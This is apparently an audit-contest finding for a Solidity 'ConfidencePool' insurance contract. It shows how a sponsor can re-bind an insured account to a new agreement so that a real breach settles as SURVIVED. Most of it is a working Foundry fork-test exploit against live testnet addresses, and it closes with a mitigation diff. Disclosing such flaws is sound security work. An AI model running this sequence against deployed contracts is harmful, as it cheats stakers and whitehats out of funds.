FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Pool outcome authorization follows a frozen agreement pointer, not the accounts it insures

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: A Confidence Pool insures a fixed list of BattleChain accounts (its locked scope) and is meant to settle CORRUPTED — paying the named whitehat — when an account in that list is breached during the term. Outcome authorization reads only the single agreement address the pool was initialized with.

  • Specific issue: The registry lets an agreement owner detach an account and re-register it under a different agreement, so the insured account's real corruption can occur on an agreement the pool never watches. The sponsor moves the insured account onto a replacement agreement, lets that replacement be genuinely corrupted while the pool's own agreement advances to terminal PRODUCTION, and the pool mechanically settles SURVIVED off the stale reading — returning stake and bonus to the sponsor and paying the whitehat nothing, even though the account the stakers underwrote was breached.

// src/ConfidencePool.sol
address public agreement; // @> fixed at initialize(), never re-pointed
address[] internal _scopeAccounts; // the accounts actually insured — never consulted for the outcome
function _getAgreementState() internal view returns (IAttackRegistry.ContractState) {
address attackRegistry = safeHarborRegistry.getAttackRegistry();
if (attackRegistry == address(0)) revert InvalidAgreement();
// @> resolves ONLY the frozen agreement pointer; the live binding of each scope account is ignored
return IAttackRegistry(attackRegistry).getAgreementState(agreement);
}

Both resolution gates consume that single reading: flagOutcome's CORRUPTED branch reverts unless the frozen agreement itself reads CORRUPTED, and claimExpired treats a frozen-agreement PRODUCTION as unconditional SURVIVED.

Risk

Likelihood:

  • WHEN a sponsor migrates an insured account to a replacement agreement after the original agreement's commitment window — a documented, role-gated lifecycle step (add companion account, remove the nsured account, register it under a new agreement, run the normal DAO-approved lifecycle). Account migration between agreements (redeployments, scope reorganizations) is ordinary, so the pool can be left certifying a stale agreement even without a maliciously-timed campaign.

  • WHEN the replacement agreement is corrupted while the frozen agreement independently reaches terminal PRODUCTION, so the pool's reading never shows the breach.

Impact:

  • A genuine, in-scope corruption is irreversibly settled as SURVIVED: the whitehat bounty and the recovery sweep are both nullified for the whole pool balance, and the sponsor recovers its stake and bonus instead of being slashed. Pool size is uncapped.

  • The confidence signal itself is falsified — the pool publishes "this scope survived the term" for a period in which the insured account was breached, inverting the mechanism's purpose and misleading any third party who reads the resolved outcome as evidence of safety.

Proof of Concept

Full chain on the live BattleChain testnet (real deployed registry + agreement factory + an active fixture agreement at block 16,000; only the in-scope pool and a plain mock stake token are deployed locally). Save as test/fork/ScopeRebindingSurvivedMisclassification.fork.t.sol and run with BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com forge test --match-contract ScopeRebindingSurvivedMisclassificationForkTest -vv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IAgreementFactory} from "@battlechain/interface/IAgreementFactory.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {
AgreementDetails,
Account as AgreementAccount,
Chain as AgreementChain,
ChildContractScope
} from "@battlechain/types/AgreementTypes.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
interface IChainAccountsView {
function getChainAccounts(string calldata caip2ChainId) external view returns (AgreementAccount[] memory);
}
contract ScopeRebindingSurvivedMisclassificationForkTest is Test {
address internal constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant AGREEMENT_FACTORY = 0x2Bee2970f10FDc2aeA28662BB6F6A501278Ebd46;
address internal constant REGISTRY_MODERATOR = 0x1bC64E6F187a47D136106784f4E9182801535BD3;
address internal constant OLD_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant SPONSOR = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
address internal constant INSURED_ACCOUNT = 0xeEFCFBeFCE9a8fbB20694483DA9E6fBbcD5084A7;
uint256 internal constant PIN_BLOCK = 16_000;
string internal constant CAIP2 = "eip155:627";
address internal companion = makeAddr("rebind-companion");
address internal honestStaker = makeAddr("rebind-honest-staker");
address internal bonusContributor = makeAddr("rebind-bonus-contributor");
address internal poolModerator = makeAddr("rebind-pool-moderator");
address internal whitehat = makeAddr("rebind-whitehat");
address internal recovery = makeAddr("rebind-recovery");
IAttackRegistry internal attackRegistry = IAttackRegistry(ATTACK_REGISTRY);
IAgreement internal oldAgreement = IAgreement(OLD_AGREEMENT);
MockERC20 internal token;
ConfidencePool internal pool;
uint256 internal expiry;
function setUp() external {
vm.createSelectFork("battlechain_testnet", PIN_BLOCK);
assertEq(oldAgreement.owner(), SPONSOR, "fixture owner changed");
assertEq(attackRegistry.getAttackModerator(OLD_AGREEMENT), SPONSOR, "fixture moderator changed");
assertEq(
uint256(attackRegistry.getAgreementState(OLD_AGREEMENT)),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK),
"fixture no longer active"
);
ConfidencePool impl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ConfidencePoolFactory factory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(impl), poolModerator))
)
)
);
token = new MockERC20();
factory.setStakeTokenAllowed(address(token), true);
address[] memory scope = new address[](1);
scope[0] = INSURED_ACCOUNT;
expiry = oldAgreement.getCantChangeUntil() + 30 days;
vm.prank(SPONSOR);
pool = ConfidencePool(factory.createPool(OLD_AGREEMENT, address(token), expiry, 1, recovery, scope));
_stake(SPONSOR, 100e18);
_stake(honestStaker, 50e18);
_contributeBonus(50e18);
}
function testRealCorruptionOfRebounddAccountSettlesAsSurvived() external {
AgreementAccount[] memory companionAccount = new AgreementAccount[](1);
companionAccount[0] =
AgreementAccount({accountAddress: vm.toString(companion), childContractScope: ChildContractScope.None});
vm.prank(SPONSOR);
oldAgreement.addAccounts(CAIP2, companionAccount);
AgreementAccount[] memory stored = IChainAccountsView(OLD_AGREEMENT).getChainAccounts(CAIP2);
string memory insuredStr;
for (uint256 i; i < stored.length; ++i) {
if (keccak256(bytes(stored[i].accountAddress)) == keccak256(bytes(vm.toString(INSURED_ACCOUNT)))) {
insuredStr = stored[i].accountAddress;
break;
}
}
assertTrue(bytes(insuredStr).length != 0, "insured account not found");
vm.warp(oldAgreement.getCantChangeUntil());
string[] memory remove = new string[](1);
remove[0] = insuredStr;
vm.prank(SPONSOR);
oldAgreement.removeAccounts(CAIP2, remove);
assertTrue(pool.scopeLocked(), "pool scope stays locked");
assertTrue(pool.isAccountInScope(INSURED_ACCOUNT), "pool still insures the account");
assertFalse(oldAgreement.isContractInScope(INSURED_ACCOUNT), "Old dropped the account");
assertEq(attackRegistry.getAgreementForContract(INSURED_ACCOUNT), address(0), "binding cleared");
address newAgreement = _createReplacementAgreement(insuredStr);
vm.prank(SPONSOR);
IAgreement(newAgreement).extendCommitmentWindow(block.timestamp + 7 days);
vm.prank(SPONSOR);
attackRegistry.requestUnderAttack(newAgreement);
vm.prank(REGISTRY_MODERATOR);
attackRegistry.approveAttack(newAgreement);
vm.prank(SPONSOR);
attackRegistry.promote(OLD_AGREEMENT);
uint256 oldProductionAt = block.timestamp + 3 days;
vm.warp(oldProductionAt - 1);
vm.prank(SPONSOR);
attackRegistry.markCorrupted(newAgreement);
assertEq(attackRegistry.getAgreementForContract(INSURED_ACCOUNT), newAgreement);
assertEq(uint256(attackRegistry.getAgreementState(newAgreement)), uint256(IAttackRegistry.ContractState.CORRUPTED));
assertEq(
uint256(attackRegistry.getAgreementState(OLD_AGREEMENT)),
uint256(IAttackRegistry.ContractState.PROMOTION_REQUESTED)
);
vm.prank(poolModerator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
vm.warp(oldProductionAt);
assertEq(uint256(attackRegistry.getAgreementState(OLD_AGREEMENT)), uint256(IAttackRegistry.ContractState.PRODUCTION));
vm.prank(REGISTRY_MODERATOR);
vm.expectRevert();
attackRegistry.instantCorrupt(OLD_AGREEMENT);
vm.warp(expiry);
vm.prank(SPONSOR);
pool.claimExpired();
vm.prank(honestStaker);
pool.claimSurvived();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED));
assertEq(token.balanceOf(SPONSOR), 133_333333333333333333, "sponsor recovers stake+bonus");
assertEq(token.balanceOf(honestStaker), 66_666666666666666666, "staker recovers stake+bonus");
assertEq(token.balanceOf(whitehat), 0, "whitehat gets nothing");
vm.prank(poolModerator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
}
function _createReplacementAgreement(string memory insuredStr) internal returns (address agreement) {
AgreementDetails memory details = oldAgreement.getDetails();
details.protocolName = "scope-rebinding-replacement";
details.agreementURI = "ipfs://scope-rebinding-replacement";
details.chains = new AgreementChain[](1);
details.chains[0].caip2ChainId = CAIP2;
details.chains[0].assetRecoveryAddress = vm.toString(recovery);
details.chains[0].accounts = new AgreementAccount[](1);
details.chains[0].accounts[0] =
AgreementAccount({accountAddress: insuredStr, childContractScope: ChildContractScope.None});
vm.prank(SPONSOR);
agreement = IAgreementFactory(AGREEMENT_FACTORY).create(details, SPONSOR, keccak256("scope-rebinding-replacement"));
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(uint256 amount) internal {
token.mint(bonusContributor, amount);
vm.startPrank(bonusContributor);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
}

Passing result: pool.outcome() == SURVIVED; sponsor 133.33, honest staker 66.67, whitehat 0.

Recommended Mitigation

+ function _hasCorruptedScopedBinding(IAttackRegistry registry) private view returns (bool) {
+ for (uint256 i; i < _scopeAccounts.length; ++i) {
+ address cur = registry.getAgreementForContract(_scopeAccounts[i]);
+ if (cur != address(0) && registry.getAgreementState(cur) == IAttackRegistry.ContractState.CORRUPTED) {
+ return true;
+ }
+ }
+ return false;
+ }
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
IAttackRegistry.ContractState state = _observePoolState();
+ IAttackRegistry registry = IAttackRegistry(safeHarborRegistry.getAttackRegistry());
} else if (newOutcome == PoolStates.Outcome.CORRUPTED) {
- if (state != IAttackRegistry.ContractState.CORRUPTED) revert InvalidOutcome();
+ if (state != IAttackRegistry.ContractState.CORRUPTED && !_hasCorruptedScopedBinding(registry)) {
+ revert InvalidOutcome();
+ }
}
}

Authorize the outcome from the current registry bindings of the locked scope accounts, not only from the init-time agreement; likewise claimExpired() must not auto-finalize SURVIVED while any scope-bound agreement reads CORRUPTED.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!